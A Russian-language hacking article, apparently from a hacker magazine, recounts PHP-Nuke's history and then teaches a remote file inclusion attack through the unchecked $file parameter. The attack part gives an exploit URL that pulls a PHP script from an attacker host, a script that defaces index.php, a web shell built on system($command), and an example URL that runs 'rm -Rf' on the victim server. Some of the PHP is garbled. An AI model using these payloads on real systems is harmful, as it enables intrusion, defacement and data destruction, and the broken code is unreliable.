Что бы я ни говорил о плюсах PHP, по крайней мере один серьезный недостаток у него точно есть: тема взлома php-скриптов как-то слабо освещена в рунете. Все только говорят, что это очень дырявая штука, приводя тупые доводы, типа "если не проверяются переменные, вебсервер под рутом, да версия дырявая..." А между тем на php уже перешло очень много сайтов, и многие используют не оригинальные скрипты, а стандартные решения, в которых частенько проскакивают уязвимости. О них-то, собственно говоря, и пойдет речь. Это один из популярнейших сайтовых движков с кучей возможностей: от постинга статей и новостей с возможностью их обсуждения читателями (как на xakep.ru) до автоматизации показа баннеров. О мощи продукта можно судить и по объему дитрибутива: архив с последней версией движка весит... весит... 1.21mb! А ведь там просто скрипты, текстовые файлы...
Впрочем, где много кода, там много багов. С момента появления php-nuke в нем было найдено столько дырок, что любой дуршлаг обзавидуется ;). И уязвимости все - как на подбор: тут тебе и DoS, и выполнение команд, и игры с sql-запросами, и получение прав администратора, и выполнение любого php-кода...
PHP-nuke
PHP-nuke написал некто Франциско Бурзи (Francisco Burzi) для новостного проекта Linux Preview (http://www.linuxpreview.org/). В далеком 1998 году, когда только появился проект, он работал на perl-овых скриптах, написанных этим же парнем. Но по мере роста сайта стало очевидно, что скрипты не удовлетворяют потребностям, нужно что-то новое, более удобное, быстрое и функциональное. Поскольку Франциско, как сам утверждает, Perl знал паршиво, он взял готовый движок Thatware, подучил PHP и наколбасил за 380 часов PHP-nuke, версию первую, и безумно дырявую. Так 17 августа 2000 года появился на свет рекордсмен по популярности, дырявости и функциональности, великий и ужасный PHP-nuke.
За два года существования движка вышло огромное множество версий, проект, надо отдать должное, отлично поддерживается, и, пожалуй, Франциско здорово пишет на PHP :). Нет, правда, несмотря на КУЧУ дыр, наколбасить ТАКОЙ проект за 380 часов - это круто ;).
URL проекта: http://www.phpnuke.org/
Уязвимые версии: почти все
Диагноз: выполнение любого php-кода
Xploit: http://victim/index.php?file=http://bad.script.php
Описалово: Ну что же, дырочка под наш размерчик ;).
Автор движка пишет:
Значения переменной $file проверяются очень скудно - на наличие "..". "/" в начале строки. Не подумал кодер, что в $file может и должен в нашем случае лежать URL на выполняемый PHP-скрипт. Однако не все так просто. Например, когда я тестировал баг на winNT+Apache+php3, тот не заработал - "Failed opening...", понимаешь ли.
Все дело оказалось в настройках php - функция "Url fopen wrapper" у меня была отключена (когда я конфигурировал php, по инерции отрубил все ненужные мне опции). На большинстве серверов функция включена, так что, скорее всего, проблем у тебя не будет. Но даже в моем случае я с легкостью шарился по диску - $file=c:winntwin.ini. Естественно, если машина под *nix, такое не пройдет - "/" вырезается из начала строки $file. Теперь о деструктивном скрипте, о том, что туда записать. Вопрос философский, но пару наработок я все же дам:
$a=fopen("$index.php", w);
fputs("$a, "http://coolsite.url/hack.jpg>
From Siberia with love.
Regardz2: X-crew, Bill Gates and Monica Levintsky'", $a);
?>
Простенько и со вкусом, хотя можно пойти дальше:
$a=system($command);
echo "$a";
?>
Этот код, как ты понимаешь, выполнит на сервере команду из переменной $command.
Например, вот так:
http://victim/index.php?file=http://hacker/hack.php?command=rm%20-Rf